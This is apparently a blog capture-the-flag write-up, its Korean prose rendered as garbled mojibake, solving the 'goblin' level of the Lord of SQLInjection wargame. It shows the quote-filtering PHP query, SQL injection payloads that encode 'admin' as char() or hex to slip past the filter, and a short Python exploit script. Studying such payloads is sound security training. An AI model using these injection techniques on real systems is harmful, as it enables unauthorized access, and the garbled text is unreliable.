Write Up
์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
์์ค ์ฝ๋ ๋ถ์
...
//change filtering pattern
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
//query import
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
...
ํฌ๊ฒ ๋ฌ๋ผ์ง ๋ถ๋ถ์ด์ ํต์ฌ์ธ ๋ถ๋ถ์
๋๋ค.
' " ` ์ ๋ง์๋ฒ๋ฆฌ๊ณ id=guest๋ก ํ์ํ๋, admin์ผ๋ก ์ฐํํด์ผํฉ๋๋ค.
ํต์ฌ์ผ๋ก๋ no={$_GET[no]} ๋ถ๋ถ์ผ ์ ๋ฐ์ ์์ต๋๋ค
์ข ์ฐพ์๋ณด๋๊น sql๋ number๋ฅผ ASCII code๋ Hex ๊ฐ์ ํตํด ์ฐํ๋ฅผ ํ ์ ์์ต๋๋ค.
ํด๋น ๋ณํ ํจ์๋ ๊ฐ์ ํตํด ์ ์๋ฏธํ ๊ฐ์ ๋์ถ ํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค.
Soultion
Where์ ์ฃผ์(์ฐํ)
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php
?no=0 or id=char(97, 100, 109, 105 ,110)
?no=0 or id=0x61646D696E
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์
๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
no๋ฒ์๋ ํน์ ํ ๊ณ์ ์ ID๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ ํด๋น admin์ ํฅํ ๊ฐ์ ๊ตฌํ๊ฑฐ๋ no์ ๊ฐ์ ๋ฌด์ํ๊ณ or๋ฌธ์ ํตํด admin์ ํธ์ถํด๋ ๋จ
ํด๋น ๋ณํ ์ฝ๋๋ ใascii, hex code transfer web siteใ๋ผ๊ณ ๊ตฌ๊ธ๋งํ๊ฑฐ ์ฌ์ฉํจ
ใ
Exploit Code
#!/usr/bin/python3
from requests import get
from pwn import *
url = 'https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php'
cookies = dict(PHPSESSID='05ivanqqvt1mh4gvt59jiihjj5')
#query = '?no=0 or id=char(97, 100, 109, 105 ,110)'
query = '?no=0 or id=0x61646D696E'
def pw_leak(url, query):
res = get(url+query, cookies=cookies)
if res.text.find('<h2>GOBLIN Clear!</h2>') > 0:
log.success('Success!!')
else:
log.failure('false :<')
if '__main__' in __name__:
print(url)
pw_leak(url, query)
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐ โLord_of_SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LORD OF SQLINJECTION] orc (2) | 2023.05.13 |
---|---|
[LORD OF SQLINJECTION] cobolt (0) | 2023.05.12 |
[LORD OF SQLINJECTION]gremlin (0) | 2023.04.29 |